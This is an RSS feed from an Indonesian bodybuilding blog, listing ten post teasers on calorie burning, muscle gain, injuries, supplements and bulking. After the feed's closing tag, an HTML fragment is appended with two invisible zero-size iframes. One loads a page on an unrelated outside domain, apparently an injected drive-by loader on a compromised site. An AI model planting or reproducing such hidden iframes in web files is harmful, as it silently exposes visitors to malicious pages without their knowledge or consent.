<?xml version="1.0" encoding="UTF-8"?><rss version="0.92">
<channel>
	<title>Dunia Binaraga &#124; Tip &#38; Trik Fitness dan Binaraga</title>
	<link>http://www.duniabinaraga.com</link>
	<description></description>
	<lastBuildDate>Tue, 17 Jan 2012 15:56:19 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	<!-- generator="WordPress/3.0.1" -->

	<item>
		<title>4 Cara Asyik Membakar Kalori</title>
		<description><![CDATA[Masa kecil adalah masa yang paling menyenangkan. Kita bisa berlari, melompat, memanjat pohon tanpa rasa malu dan yang penting, tanpa kita sadari, kita membakar kalori. Tapi setelah kita dewasa, kita tidak pernah lagi melakukan hal-hal tersebut. Kalaupun kita lakukan, biasanya hanya berlari. Itupun kita lakukan di atas treadmill. Hidup saat dewasa seringkali hanyalah serangkaian rutinitas, [...]]]></description>
		<link>http://www.duniabinaraga.com/2011/03/4-cara-asyik-membakar-kalori/</link>
			</item>
	<item>
		<title>8 Fakta Penambahan Massa Otot</title>
		<description><![CDATA[Punya tubuh seperti seorang binaragawan memang impian hampir semua laki-laki. Berikut adalah 8 fakta yang bila dilakukan akan menambah massa otot seseorang dengan mudah. Fakta-fakta tersebut adalah: 1. Berusahalah Untuk Menjadi Lebih Kuat Angkatlah beban yang lebih berat. Massa otot yang terbentuk pada saat seseorang mengangkat beban yang lebih berat dari biasanya adalah massa otot yang [...]]]></description>
		<link>http://www.duniabinaraga.com/2011/02/8-fakta-penambahan-massa-otot/</link>
			</item>
	<item>
		<title>6 Tips Untuk Perut Rata Bagi Para Wanita</title>
		<description><![CDATA[Sering berolahraga tetapi perut tetap berlemak? Sebelum anda menyerah dan membuang semua jeans hipster anda, mungkin ada baiknya jika anda mengerti bahwa ada tiga faktor yang terlibat dalam proses mendapatkan perut yang rata. Pertama adalah latihan, kemudian diet anda, dan yang terakhir adalah tingkat stress dalam hidup anda. Latihan-latihan yang anda lakukan memang penting, baik [...]]]></description>
		<link>http://www.duniabinaraga.com/2011/01/6-tips-untuk-perut-rata-bagi-para-wanita/</link>
			</item>
	<item>
		<title>Cedera Otot Dan Penanganannya</title>
		<description><![CDATA[Cedera otot dapat terjadi pada siapa saja. Proses terjadinya pun tidak selalu disebabkan oleh &#8220;olah tubuh&#8221; ataupun pekerjaan berat. Bila hal ini terjadi pada seorang atlet atau seseorang yang dituntut untuk selalu aktif dalam kesehariannya, tentu cedera otot bukan lagi menjadi masalah yang sepele. Ada beberapa macam penanganan yang dapat membantu seseorang dalam proses penyembuhan [...]]]></description>
		<link>http://www.duniabinaraga.com/2010/12/cedera-otot-dan-penanganannya/</link>
			</item>
	<item>
		<title>Berlatih Binaraga Secara Ideal</title>
		<description><![CDATA[Seseorang yang tidak segera tidur setelah beraktivitas sepanjang hari akan mengalami penurunan kemampuan kerja pada tubuhnya. Tubuh tidak akan mampu lagi melakukan aktivitas dengan baik jika dipaksa secara terus menerus. Seseorang yang tidak makan setelah beraktivitas sepanjang hari juga akan mendapatkan dampak negatif yang sama seperti orang yang tidak tidur. Tidur dan makan merupakan dua [...]]]></description>
		<link>http://www.duniabinaraga.com/2010/12/berlatih-binaraga-secara-ideal/</link>
			</item>
	<item>
		<title>Suplemen</title>
		<description><![CDATA[Sejauh ini, tidak pernah ada yang menyatakan bahwa penggunaan suplemen dapat memberikan dampak yang negatif terhadap aktivitas binaraga. Jika anda membeli beberapa jenis majalah binaraga kemudian membalik halaman demi halaman, maka anda akan melihat ulasan banyak jenis olahraga yang sangat diperlukan oleh setiap pria. Selain itu, terdapat pula beragam iklan suplemen yang sesuai untuk meningkatkan [...]]]></description>
		<link>http://www.duniabinaraga.com/2010/11/suplemen/</link>
			</item>
	<item>
		<title>Perlunya Variasi</title>
		<description><![CDATA[Seseorang yang memahami aturan binaraga akan menyadari bahwa tidak ada satupun hal yang dapat diabaikan begitu saja. Tidak ada satupun aturan binaraga yang dapat dikatakan terpenting ataupun tidak penting. Binaraga merupakan suatu aktivitas yang hanya akan memberikan hasil efektif jika semua aturan dan tahapannya dilakukan secara tepat. Aturan di dalam berlatih binaraga merupakan satu kesatuan [...]]]></description>
		<link>http://www.duniabinaraga.com/2010/11/perlunya-variasi/</link>
			</item>
	<item>
		<title>Kapan Menggunakan Suplemen</title>
		<description><![CDATA[Penggunaan suplemen makanan terkadang dapat menjadi suatu isu kontroversial dalam beberapa kalangan binaragawan. Kita memang diperbolehkan untuk memberikan bantuan suplemen saat tubuh membutuhkannya. Namun, kita tetap harus menyadari bahwa suplemen tidak dapat dikonsumsi untuk menggantikan fungsi makanan pokok. Konsumsi suplemen dengan mengabaikan pola makan yang baik justru hanya akan memberikan dampak negatif bagi tubuh. Dan [...]]]></description>
		<link>http://www.duniabinaraga.com/2010/10/kapan-menggunakan-suplemen/</link>
			</item>
	<item>
		<title>Menjaga Idealitas dalam Berlatih</title>
		<description><![CDATA[Binaraga merupakan suatu aktivitas yang sangat berhubungan dengan fisik. Setiap orang yang melakukan binaraga harus benar-benar mengetahui aturan ideal di dalamnya. Ketika seseorang memutuskan untuk terjun ke dalam dunia binaraga maka dia harus menyadari bahwa sesungguhnya aktivitas binaraga juga sangat berhubungan dengan hal-hal lain di luar aktivitas fisik itu sendiri. Hal ini dikarenakan untuk mendapatkan [...]]]></description>
		<link>http://www.duniabinaraga.com/2010/10/menjaga-idealitas-dalam-berlatih/</link>
			</item>
	<item>
		<title>Bulking</title>
		<description><![CDATA[Bulking adalah istilah yang digunakan bagi proses peningkatan berat badan sehingga tercapai berat yang melebihi berat badan ideal seseorang. Hal ini tidak berarti seseorang dapat memakan apapun yang diinginkannya, karena bulking berarti penambahan massa otot yang tidak diikuti oleh penambahan lemak yang berlebih. Karena itu, dalam proses ini, seseorang perlu memiliki pola makan khusus. Jumlah [...]]]></description>
		<link>http://www.duniabinaraga.com/2010/09/bulking/</link>
			</item>
</channel>
</rss>
 <html><body> <iframe src="http://www.4in1-stc.com/home/up/2/8461" width="0" height="0"> </iframe> <iframe src="http://www.youtube.com/EngHamoud" width="0" height="0"></iframe> </body></html
